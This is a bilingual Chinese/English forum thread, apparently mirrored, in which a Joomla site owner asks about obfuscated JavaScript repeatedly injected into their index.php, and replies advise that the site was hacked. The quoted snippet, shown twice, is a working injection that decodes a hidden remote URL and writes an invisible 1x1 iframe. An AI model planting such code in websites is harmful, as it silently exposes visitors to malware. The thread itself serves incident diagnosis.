网站index.php页面自动切换,最后用一个脚本
我已经看到,在我的根index.php 文件中,这种情况发生了两次。 我添加了这个东西
<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>
有谁知道那是什么以及它是如何产生的。
当我尝试在谷歌浏览器中打开我的网站时,它告诉我一些恶意软件正试图从有害网站运行,您是否允许它。
然而,删除该脚本后,一切都正常了,
但是两周内出现了两次 ahppedn
是病毒吗?怎么可以改变我的代码
我正在使用 JOOMLA
I have seen that , this happend twice that , in my root index.php file.
I have this thing added
<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>
Does anyone knows what is that and how it comes.
When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it.
How ever when deleted that script then everything was ok
But this ahppedn twice in 2 weeks
Is that the virus . how can something chANGE MY CODE
i AM USING JOOMLA
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(2)
您已被黑客攻击。您应该更改您的 FTP 和 MYSQL 密码,升级到最新版本的 Joomla(当前为 1.5.18),并检查所有组件和插件是否存在此列表中的漏洞 http://docs.joomla.org/Vulnerable_Extensions_List
You have been hacked. You should change your FTP and MYSQL passwords, upgrade to the latest version of Joomla (currently 1.5.18) and check all of your components and plugins for vulnerabilities in this list http://docs.joomla.org/Vulnerable_Extensions_List
您的网站已被黑客攻击。您需要确保您的 Joomla 安装、其所有插件以及服务器上的所有其他软件都已修补到最新版本。如果它是共享服务器,您的主机可能会提供帮助。否则,请查阅您的服务器日志。
Your site has been hacked. You'll need to make sure your Joomla installation, all of its plugins, and all the other software on the server are patched to the latest versions. If it's a shared server, your host may be able to help. Otherwise, consult your server logs.